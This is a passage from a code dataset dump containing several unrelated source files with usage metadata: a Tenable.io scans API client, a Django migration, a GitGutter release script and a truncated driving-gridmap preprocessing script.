"flask.render_template", "line_number": 646, "usage_type": "call"}, {"api_name": "flask_security.login_required", "line_number": 638, "usage_type": "name"}, {"api_name": "models.User.query.get", "line_number": 654, "usage_type": "call"}, {"api_name": "models.User.query", "line_number": 654, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 654, "usage_type": "name"}, {"api_name": "forms.UserEditForm", "line_number": 655, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 656, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 656, "usage_type": "name"}, {"api_name": "forms.UserEditForm", "line_number": 658, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 658, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 658, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 661, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 661, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 661, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 662, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 664, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 666, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 667, "usage_type": "call"}, {"api_name": "flask_security.login_required", "line_number": 652, "usage_type": "name"}, {"api_name": "models.User.query.get", "line_number": 673, "usage_type": "call"}, {"api_name": "models.User.query", "line_number": 673, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 673, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 678, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 682, "usage_type": "call"}, {"api_name": "models.db.session.commit", "line_number": 683, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 683, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 683, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 684, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 684, "usage_type": "call"}, {"api_name": "flask_security.login_required", "line_number": 671, "usage_type": "name"}, {"api_name": "forms.ExtendedRegisterForm", "line_number": 690, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 690, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 690, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 691, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 691, "usage_type": "name"}, {"api_name": "flask_security.utils.hash_password", "line_number": 694, "usage_type": "call"}, {"api_name": "models.db.session.commit", "line_number": 696, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 696, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 696, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 698, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 699, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 699, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 701, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 702, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 704, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 705, "usage_type": "call"}, {"api_name": "flask_security.login_required", "line_number": 687, "usage_type": "name"}, {"api_name": "flask_security.roles_required", "line_number": 688, "usage_type": "call"}, {"api_name": "models.db.session.query", "line_number": 711, "usage_type": "call"}, {"api_name": "models.User", "line_number": 711, "usage_type": "argument"}, {"api_name": "models.db.session", "line_number": 711, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 711, "usage_type": "name"}, {"api_name": "models.db.session.delete", "line_number": 713, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 713, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 713, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 714, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 714, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 714, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 715, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 716, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 716, "usage_type": "call"}, {"api_name": "flask_security.login_required", "line_number": 708, "usage_type": "name"}, {"api_name": "flask_security.roles_required", "line_number": 709, "usage_type": "call"}, {"api_name": "forms.RoleForm", "line_number": 722, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 722, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 722, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 723, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 723, "usage_type": "name"}, {"api_name": "models.Role", "line_number": 725, "usage_type": "call"}, {"api_name": "models.db.session.add", "line_number": 727, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 727, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 727, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 728, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 728, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 728, "usage_type": "name"}, {"api_name": "traceback.format_exc", "line_number": 730, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 731, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 732, "usage_type": "call"}, {"api_name": "flask_security.login_required", "line_number": 719, "usage_type": "name"}, {"api_name": "flask_security.roles_required", "line_number": 720, "usage_type": "call"}, {"api_name": "models.Role.query.get", "line_number": 737, "usage_type": "call"}, {"api_name": "models.Role.query", "line_number": 737, "usage_type": "attribute"}, {"api_name": "models.Role", "line_number": 737, "usage_type": "name"}, {"api_name": "forms.RoleForm", "line_number": 738, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 738, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 738, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 740, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 740, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 743, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 743, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 743, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 744, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 746, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 747, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 748, "usage_type": "call"}, {"api_name": "flask_security.login_required", "line_number": 735, "usage_type": "name"}, {"api_name": "flask.send_from_directory", "line_number": 755, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 758, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 760, "usage_type": "call"}, {"api_name": "flask_security.login_required", "line_number": 752, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 765, "usage_type": "call"}, {"api_name": "flask_security.login_required", "line_number": 763, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 769, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 770, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 770, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 774, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 776, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 776, "usage_type": "call"}]} {"seq_id": "559676766", "text": "from json import loads\n\nfrom tenable_io.api.base import BaseApi\nfrom tenable_io.api.models import Scan, ScanDetails, ScanHistory, ScanList, ScanSettings\nfrom tenable_io.api.base import BaseRequest\n\n\nclass ScansApi(BaseApi):\n\n STATUS_EXPORT_READY = u'ready'\n\n def configure(self, scan_id, scan_configure):\n \"\"\"Configure an existing scan.\n\n :param scan_id:\n :param scan_configure: An instance of :class:`ScanConfigureRequest`.\n :raise TenableIOApiException: When API error is encountered.\n :return: The ID of scan just configured.\n \"\"\"\n response = self._client.put('scans/%(scan_id)s', scan_configure, path_params={'scan_id': scan_id})\n return loads(response.text).get('scan', {}).get('id')\n\n def create(self, scan_create):\n \"\"\"Create a scan.\n\n :param scan_create: An instance of :class:`ScanCreateRequest`.\n :raise TenableIOApiException: When API error is encountered.\n :return: The ID of scan just created.\n \"\"\"\n response = self._client.post('scans', scan_create)\n return loads(response.text).get('scan', {}).get('id')\n\n def copy(self, scan_id):\n response = self._client.post('scans/%(scan_id)s/copy',\n {},\n path_params={'scan_id': scan_id})\n return Scan.from_json(response.text)\n\n def delete(self, scan_id):\n \"\"\"Delete a scan. NOTE: Scans in running, paused or stopping states can not be deleted.\n\n :raise TenableIOApiException: When API error is encountered.\n :param scan_id: The scan ID.\n :return: True if successful.\n \"\"\"\n self._client.delete('scans/%(scan_id)s', path_params={'scan_id': scan_id})\n return True\n\n def details(self, scan_id, history_id=None):\n \"\"\"Return details of the given scan.\n\n :param scan_id: The scan ID.\n :param history_id: The historical data ID.\n :raise TenableIOApiException: When API error is encountered.\n :return: An instance of :class:`tenable_io.api.models.ScanDetails`.\n \"\"\"\n response = self._client.get('scans/%(scan_id)s',\n path_params={'scan_id': scan_id},\n params={'history_id': history_id} if history_id else None)\n\n return ScanDetails.from_json(response.text)\n\n def export_download(self, scan_id, file_id, stream=True, chunk_size=1024):\n \"\"\"Download an exported scan.\n\n :param scan_id: The scan ID.\n :param file_id: The file ID.\n :param stream: Default to True. If False, the response content will be immediately downloaded.\n :param chunk_size: If Stream=False, data is returned as a single chunk.\\\n If Stream=True, it's the number of bytes it should read into memory.\n :raise TenableIOApiException: When API error is encountered.\n :return: The downloaded file.\n \"\"\"\n response = self._client.get('scans/%(scan_id)s/export/%(file_id)s/download',\n path_params={'scan_id': scan_id, 'file_id': file_id},\n stream=stream)\n return response.iter_content(chunk_size=chunk_size)\n\n def export_request(self, scan_id, scan_export, history_id=None):\n \"\"\"Export the given scan. Once requested, the file can be downloaded using the export\\\n download method upon receiving a \"ready\" status from the export status method.\n\n :param scan_id: The scan ID.\n :param scan_export: An instance of :class:`ScanExportRequest`.\n :param history_id: The history ID of historical data.\n :raise TenableIOApiException: When API error is encountered.\n :return: The file ID.\n \"\"\"\n assert isinstance(scan_export, ScanExportRequest)\n response = self._client.post('scans/%(scan_id)s/export',\n scan_export,\n path_params={'scan_id': scan_id},\n params={'history_id': history_id} if history_id else None)\n return loads(response.text).get('file')\n\n def export_status(self, scan_id, file_id):\n \"\"\"Check the file status of an exported scan. When an export has been requested,\\\n it is necessary to poll this endpoint until a \"ready\" status is returned,\\\n at which point the file is complete and can be downloaded using the export download endpoint.\n\n :param scan_id: The scan ID.\n :param file_id: The file ID.\n :raise TenableIOApiException: When API error is encountered.\n :return: The file status.\n \"\"\"\n response = self._client.get('scans/%(scan_id)s/export/%(file_id)s/status',\n path_params={'scan_id': scan_id, 'file_id': file_id})\n return loads(response.text).get('status')\n\n def folder(self, scan_id, folder_id):\n \"\"\"Move to a scan to a folder.\n\n :param scan_id: The scan ID.\n :param folder_id: The folder ID.\n :raise TenableIOApiException: When API error is encountered.\n :return: True if successful.\n \"\"\"\n self._client.put('scans/%(scan_id)s/folder',\n {'folder_id': folder_id},\n path_params={'scan_id': scan_id})\n return True\n\n def history(self, scan_id, history_id):\n response = self._client.get('scans/%(scan_id)s/history/%(history_id)s',\n path_params={'scan_id': scan_id, 'history_id': history_id})\n return ScanHistory.from_json(response.text)\n\n def import_scan(self, scan_import):\n \"\"\"Import an existing scan which has been uploaded using :func:`TenableIO.FileApi.upload`\n\n :param scan_import: An instance of :class:`ScanImportRequest`.\n :raise TenableIOApiException: When API error is encountered.\n :return: The ID of the imported scan.\n \"\"\"\n response = self._client.post('scans/import', scan_import)\n return loads(response.text).get('scan', {}).get('id')\n\n def launch(self, scan_id, scan_launch_request):\n \"\"\"Launch a scan.\n\n :param scan_id: The scan ID.\n :param scan_launch_request: An instance of :class:`ScanLaunchRequest`.\n :raise TenableIOApiException: When API error is encountered.\n :return: The scan uuid.\n \"\"\"\n assert isinstance(scan_launch_request, ScanLaunchRequest)\n response = self._client.post('scans/%(scan_id)s/launch',\n scan_launch_request,\n path_params={'scan_id': scan_id})\n return loads(response.text).get('scan_uuid')\n\n def list(self, folder_id=None):\n \"\"\"Return the scan list.\n\n :raise TenableIOApiException: When API error is encountered.\n :return: An instance of :class:`tenable_io.api.models.ScanList`.\n \"\"\"\n response = self._client.get('scans', params={'folder_id': folder_id} if folder_id else {})\n return ScanList.from_json(response.text)\n\n def pause(self, scan_id):\n \"\"\"Pause a scan.\n\n :param scan_id: The scan ID.\n :raise TenableIOApiException: When API error is encountered.\n :return: True if successful.\n \"\"\"\n self._client.post('scans/%(scan_id)s/pause', {}, path_params={'scan_id': scan_id})\n return True\n\n def resume(self, scan_id):\n \"\"\"Resume a scan.\n\n :param scan_id: The scan ID.\n :raise TenableIOApiException: When API error is encountered.\n :return: True if successful.\n \"\"\"\n self._client.post('scans/%(scan_id)s/resume', {}, path_params={'scan_id': scan_id})\n return True\n\n def stop(self, scan_id):\n \"\"\"Stop a scan.\n\n :param scan_id: The scan ID.\n :raise TenableIOApiException: When API error is encountered.\n :return: True if successful.\n \"\"\"\n self._client.post('scans/%(scan_id)s/stop', {}, path_params={'scan_id': scan_id})\n return True\n\n\nclass ScanSaveRequest(BaseRequest):\n\n def __init__(\n self,\n uuid,\n settings,\n ):\n assert isinstance(settings, ScanSettings)\n self.uuid = uuid\n self.settings = settings\n\n def as_payload(self, filter_=None):\n payload = super(ScanSaveRequest, self).as_payload(True)\n if isinstance(self.settings, ScanSettings):\n payload.__setitem__('settings', self.settings.as_payload())\n else:\n payload.pop('settings', None)\n return payload\n\n\nclass ScanCreateRequest(ScanSaveRequest):\n\n def __init__(\n self,\n uuid,\n settings=None,\n ):\n super(ScanCreateRequest, self).__init__(uuid, settings)\n\n\nclass ScanConfigureRequest(ScanSaveRequest):\n\n def __init__(\n self,\n uuid=None,\n settings=None,\n ):\n super(ScanConfigureRequest, self).__init__(uuid, settings)\n\n\nclass ScanExportRequest(BaseRequest):\n\n CHAPTER_CUSTOM_VULN_BY_HOST = u'vuln_by_host'\n CHAPTER_CUSTOM_VULN_BY_PLUGIN = u'vuln_by_plugin'\n CHAPTER_EXECUTIVE_SUMMARY = u'vuln_hosts_summary'\n\n FORMAT_CSV = u'csv'\n FORMAT_DB = u'db'\n FORMAT_HTML = u'html'\n FORMAT_NESSUS = u'nessus'\n FORMAT_PDF = u'pdf'\n\n def __init__(\n self,\n format,\n password=None,\n chapters=None,\n ):\n assert format in [\n ScanExportRequest.FORMAT_CSV,\n ScanExportRequest.FORMAT_DB,\n ScanExportRequest.FORMAT_HTML,\n ScanExportRequest.FORMAT_NESSUS,\n ScanExportRequest.FORMAT_PDF,\n ]\n assert chapters in [\n None,\n ScanExportRequest.CHAPTER_CUSTOM_VULN_BY_HOST,\n ScanExportRequest.CHAPTER_CUSTOM_VULN_BY_PLUGIN,\n ScanExportRequest.CHAPTER_EXECUTIVE_SUMMARY,\n ]\n self.format = format\n self.password = password\n self.chapters = chapters\n\n def as_payload(self, filter_=None):\n return super(ScanExportRequest, self).as_payload(True)\n\n\nclass ScanImportRequest(BaseRequest):\n\n def __init__(\n self,\n file,\n folder_id=None,\n password=None\n ):\n self.file = file\n self.folder_id = folder_id\n self.password = password\n\n\nclass ScanLaunchRequest(BaseRequest):\n\n def __init__(\n self,\n alt_targets=None\n ):\n self.alt_targets = alt_targets\n", "sub_path": "tenable_io/api/scans.py", "file_name": "scans.py", "file_ext": "py", "file_size_in_byte": 10558, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tenable_io.api.base.BaseApi", "line_number": 8, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 21, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 31, "usage_type": "call"}, {"api_name": "tenable_io.api.models.Scan.from_json", "line_number": 37, "usage_type": "call"}, {"api_name": "tenable_io.api.models.Scan", "line_number": 37, "usage_type": "name"}, {"api_name": "tenable_io.api.models.ScanDetails.from_json", "line_number": 61, "usage_type": "call"}, {"api_name": "tenable_io.api.models.ScanDetails", "line_number": 61, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 94, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 108, "usage_type": "call"}, {"api_name": "tenable_io.api.models.ScanHistory.from_json", "line_number": 126, "usage_type": "call"}, {"api_name": "tenable_io.api.models.ScanHistory", "line_number": 126, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 136, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 150, "usage_type": "call"}, {"api_name": "tenable_io.api.models.ScanList.from_json", "line_number": 159, "usage_type": "call"}, {"api_name": "tenable_io.api.models.ScanList", "line_number": 159, "usage_type": "name"}, {"api_name": "tenable_io.api.base.BaseRequest", "line_number": 192, "usage_type": "name"}, {"api_name": "tenable_io.api.models.ScanSettings", "line_number": 199, "usage_type": "argument"}, {"api_name": "tenable_io.api.models.ScanSettings", "line_number": 205, "usage_type": "argument"}, {"api_name": "tenable_io.api.base.BaseRequest", "line_number": 232, "usage_type": "name"}, {"api_name": "tenable_io.api.base.BaseRequest", "line_number": 271, "usage_type": "name"}, {"api_name": "tenable_io.api.base.BaseRequest", "line_number": 284, "usage_type": "name"}]} {"seq_id": "478259578", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='League',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)),\n ('name', models.CharField(max_length=255, unique=True)),\n ('slug', models.SlugField()),\n ('badge', models.ImageField(null=True, upload_to='leagues', blank=True)),\n ],\n ),\n ]\n", "sub_path": "leagues/migrations/0001_initial.py", "file_name": "0001_initial.py", "file_ext": "py", "file_size_in_byte": 631, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.SlugField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.ImageField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}]} {"seq_id": "265287394", "text": "# -*- coding: utf-8 -*-\n#!/usr/bin/python\n\nimport json\nimport os\nimport subprocess\n\nPACKAGE_PATH = os.path.dirname(__file__)\nMESSAGE_DIR = 'messages'\nMESSAGE_PATH = os.path.join(PACKAGE_PATH, MESSAGE_DIR)\n\n\ndef get_message(fname):\n with open(fname, 'r', encoding='utf-8') as file:\n message = file.read()\n return message\n\n\ndef put_message(fname, text):\n with open(fname, 'w', encoding='utf-8') as file:\n file.write(text)\n\n\ndef built_messages_json(version_history):\n \"\"\"Write the version history to the messages.json file.\"\"\"\n output = os.path.join(PACKAGE_PATH, 'messages.json')\n with open(output, 'w+', encoding='utf-8') as file:\n json.dump(\n obj={v: MESSAGE_DIR + '/' + v + '.txt' for v in version_history},\n fp=file, indent=4, separators=(',', ': '), sort_keys=True)\n file.write('\\n')\n\n\ndef version_history():\n \"\"\"Return a list of all releases.\"\"\"\n def generator():\n for filename in os.listdir(MESSAGE_PATH):\n basename, ext = os.path.splitext(filename)\n if ext.lower() == '.txt':\n yield basename\n\n def sortkey(key):\n \"\"\"Convert filename to version tuple (major, minor, patch).\"\"\"\n try:\n major, minor, patch = key.split('.', 2)\n if '-' in patch:\n patch, _ = patch.split('-')\n return int(major), int(minor), int(patch)\n except:\n return 0, 0, 0\n\n return sorted(tuple(generator()), key=sortkey)\n\n\ndef git(*args):\n \"\"\"Run git command within current package path.\"\"\"\n if os.name == 'nt':\n startupinfo = subprocess.STARTUPINFO()\n startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\n else:\n startupinfo = None\n proc = subprocess.Popen(\n args=['git'] + [arg for arg in args], startupinfo=startupinfo,\n stdout=subprocess.PIPE, stdin=subprocess.PIPE, cwd=PACKAGE_PATH)\n stdout, _ = proc.communicate()\n return stdout.decode('utf-8').strip() if stdout else None\n\n\ndef commit_release(version):\n \"\"\"Create a 'Cut <version>' commit and tag.\"\"\"\n commit_message = 'Cut %s' % version\n git('add', '.')\n git('commit', '-m', commit_message)\n git('tag', '-a', '-m', commit_message, version)\n\n\ndef build_release():\n \"\"\"Built the new release locally.\"\"\"\n history = version_history()\n version = history[-1]\n put_message(os.path.join(PACKAGE_PATH, 'VERSION'), version)\n built_messages_json(history)\n commit_release(version)\n print(\"Release %s created!\" % version)\n\n\ndef publish_release(token):\n \"\"\"Publish the new release.\"\"\"\n version = get_message(os.path.join(PACKAGE_PATH, 'VERSION'))\n\n repo_url = 'https://github.com/jisaacks/GitGutter.git'\n # push master branch to server\n git('push', repo_url, 'master')\n # push tags to server\n git('push', repo_url, 'tag', version)\n\n # publish the release\n post_url = '/repos/jisaacks/GitGutter/releases?access_token=' + token\n headers = {\n 'User-Agent': 'Sublime Text',\n 'Content-type': 'application/json',\n }\n # get message from /messages/<version>.txt\n text = get_message(os.path.join(MESSAGE_PATH, version + '.txt'))\n # strip message header (version)\n text = text[text.find('\\n') + 1:]\n # built the JSON request body\n data = json.dumps({\n \"tag_name\": version,\n \"target_commitish\": \"master\",\n \"name\": version,\n \"body\": text,\n \"draft\": False,\n \"prerelease\": False\n })\n try:\n import http.client\n client = http.client.HTTPSConnection('api.github.com')\n client.request('POST', post_url, body=data, headers=headers)\n response = client.getresponse()\n print(\"Release %s published!\" % version\n if response.status == 201 else\n \"Release %s failed!\" % version)\n finally:\n client.close()\n\n\n\"\"\"\n======================================\nCommand Line Interface\n======================================\n\"\"\"\nif __name__ == '__main__':\n import argparse\n\n parser = argparse.ArgumentParser(\n description='Built and Publish GitGutter Releases')\n parser.add_argument(\n dest='command',\n help='The command to perform is one of [BUILD|PUBLISH].')\n parser.add_argument(\n '--token',\n nargs='?',\n help='The GitHub access token used for authentication.')\n args = parser.parse_args()\n if args.command.lower() == 'build':\n build_release()\n elif args.command.lower() == 'publish':\n publish_release(args.token)\n\n\n\"\"\"\n======================================\nSublime Text Command Interface\n======================================\n\"\"\"\ntry:\n import sublime\n import sublime_plugin\n\n SETTINGS = \"GitGutter.sublime-settings\"\n\n class GitGutterBuildReleaseCommand(sublime_plugin.ApplicationCommand):\n\n def is_visible(self):\n settings = sublime.load_settings(SETTINGS)\n return settings.has('github_token')\n\n def run(self):\n \"\"\"Built a new release.\"\"\"\n build_release()\n\n class GitGutterPublishReleaseCommand(sublime_plugin.ApplicationCommand):\n\n def is_visible(self):\n settings = sublime.load_settings(SETTINGS)\n return settings.has('github_token')\n\n def run(self):\n \"\"\"Publish the new release.\"\"\"\n settings = sublime.load_settings(SETTINGS)\n publish_release(settings.get('github_token', ''))\n\nexcept ImportError:\n pass\n", "sub_path": "release.py", "file_name": "release.py", "file_ext": "py", "file_size_in_byte": 5490, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 28, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.name", "line_number": 57, "usage_type": "attribute"}, {"api_name": "subprocess.STARTUPINFO", "line_number": 58, "usage_type": "call"}, {"api_name": "subprocess.STARTF_USESHOWWINDOW", "line_number": 59, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 62, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 108, "usage_type": "call"}, {"api_name": "http.client.client.HTTPSConnection", "line_number": 118, "usage_type": "call"}, {"api_name": "http.client.client", "line_number": 118, "usage_type": "attribute"}, {"api_name": "http.client", "line_number": 118, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 136, "usage_type": "call"}, {"api_name": "sublime_plugin.ApplicationCommand", "line_number": 163, "usage_type": "attribute"}, {"api_name": "sublime.load_settings", "line_number": 166, "usage_type": "call"}, {"api_name": "sublime_plugin.ApplicationCommand", "line_number": 173, "usage_type": "attribute"}, {"api_name": "sublime.load_settings", "line_number": 176, "usage_type": "call"}, {"api_name": "sublime.load_settings", "line_number": 181, "usage_type": "call"}]} {"seq_id": "24168668", "text": "import argparse\nimport logging\nimport random\nimport time\nimport math\nimport os\nimport numpy as np\nimport PIL\nfrom tqdm import tqdm\nimport tensorflow as tf\nfrom PIL import Image, ImageDraw, ImageOps\nCUDA_VISIBLE_DEVICES = []\n\ndest_path = None\nprefix = None\n\n#SETTINGS: These values are set in set_dest_path\n#number of samples per tfrecord, one sample equals one sequence\nsamples_per_record = 20\n#number of frames used before starting prediction\nK = 9\n#number of frames to predict\nT = 10\n#values copied over from original preprocessing script\nprescale=337\ncrop_size=96\nimage_size=96\noccup_steps=1\n#number of frames per sequence, needs to be at least K+T+1\nseq_length=20\n#number of frames to skip between sequences\nstep_size=5\n#if one tfrecord sequence holds multiple of (K+T+1) can loop over additional frames\n#equal to having multiple sequences with only (K+T+1) frames\nseq_steps=seq_length//(K+T)\n#Threshold for mean of pixels over channels (between 0 and 255)\nthresh = 96\n#frame composing not supported for now, need to change code in calcImageTranslation\n#frame_composing=2\n\noccupancy_buffer = []\ntransformation_buffer = []\nocclusion_buffer = []\nreturn_clips = []\nreturn_transformation = []\nrgb_buffer = []\ndepth_buffer = []\nsegmentation_buffer = []\nreturn_camera_rgb = []\nreturn_camera_segmentation = []\nreturn_camera_depth = []\nidnr = 0\ndata_size = []\ndirection_buffer = []\nreturn_direction = []\nepisode = 0\n\ndef set_dest_path(path, _samples_per_record, _K, _T, _image_size, _seq_length, _step_size):\n global dest_path\n global samples_per_record\n global K, T, prescale, crop_size, image_size, seq_length\n global step_size, thresh\n dest_path = path\n if not os.path.exists(path):\n os.makedirs(path)\n\n samples_per_record = _samples_per_record\n K = _K\n T = _T\n crop_size = _image_size\n image_size = _image_size\n seq_length = _seq_length\n step_size = _step_size\n\ndef update_episode_reset_globals(pfx):\n global prefix, occupancy_buffer, occlusion_buffer, transformation_buffer\n global return_clips, return_transformation, rgb_buffer, depth_buffer\n global segmentation_buffer, return_camera_rgb, return_camera_segmentation, return_camera_depth\n global idnr, data_size, direction_buffer, return_direction\n prefix = pfx\n occupancy_buffer = []\n transformation_buffer = []\n occlusion_buffer = []\n return_clips = []\n return_transformation = []\n rgb_buffer = []\n depth_buffer = []\n segmentation_buffer = []\n return_camera_rgb = []\n return_camera_segmentation = []\n return_camera_depth = []\n idnr = 0\n data_size = []\n direction_buffer = []\n return_direction = []\n\ndef main(img, rgb, depth, segmentation, yaw_rate, speed):\n global prefix, occupancy_buffer, occlusion_buffer, transformation_buffer\n global return_clips, return_transformation, rgb_buffer, depth_buffer\n global segmentation_buffer, return_camera_rgb, return_camera_segmentation, return_camera_depth\n global idnr, data_size, direction_buffer, return_direction\n\n #find the direction (left,right,straight)\n if yaw_rate < -0.5: #going left\n direction_buffer.append([1,1])\n elif yaw_rate > 0.5: #going right\n direction_buffer.append([0,1])\n else: #going straight\n direction_buffer.append([0,0])\n\n #resize input images\n new_size = tuple(t//8 for t in rgb.shape[:-1]) # from 1920 x 640 to 240 x 80\n data_size = [new_size[1], new_size[0]]\n new_size = tuple(data_size)\n rgb_buffer.append(transform_input(rgb, new_size, False))\n depth_buffer.append(transform_input(depth, new_size, True))\n segmentation_buffer.append(transform_input(segmentation, new_size, False))\n\n #generate gridmap from bounding box image, condensed version of original preprocessing script\n occupancy_img = cropAndResizeImage(img)\n occupancy_array = np.array(occupancy_img)\n if len(occupancy_array.shape) == 3:\n occupancy_array = np.mean(occupancy_array, axis=2)\n occlusion_array = createOcclusionMap(occupancy_array)\n occupancy_mask = createOccupancyMask(occupancy_img, occlusion_array, thresh)\n transformation_matrix = calcImageTranslation(occupancy_array, yaw_rate, speed)\n occupancy_buffer.append(occupancy_mask)\n occlusion_buffer.append(occlusion_array)\n transformation_buffer.append(transformation_matrix)\n\n #if enough frames have been buffered combine them into one sequence\n if len(occupancy_buffer) >= seq_length:\n compressMoveMapDataset(occupancy_buffer, occlusion_buffer, transformation_buffer)\n return_camera_rgb.append(np.array(rgb_buffer))\n return_camera_segmentation.append(np.array(segmentation_buffer))\n return_camera_depth.append(np.array(depth_buffer))\n return_direction.append(direction_buffer)\n\n #if enough sequences have been gathered combine them into one tfrecord\n if len(return_clips) >= samples_per_record:\n 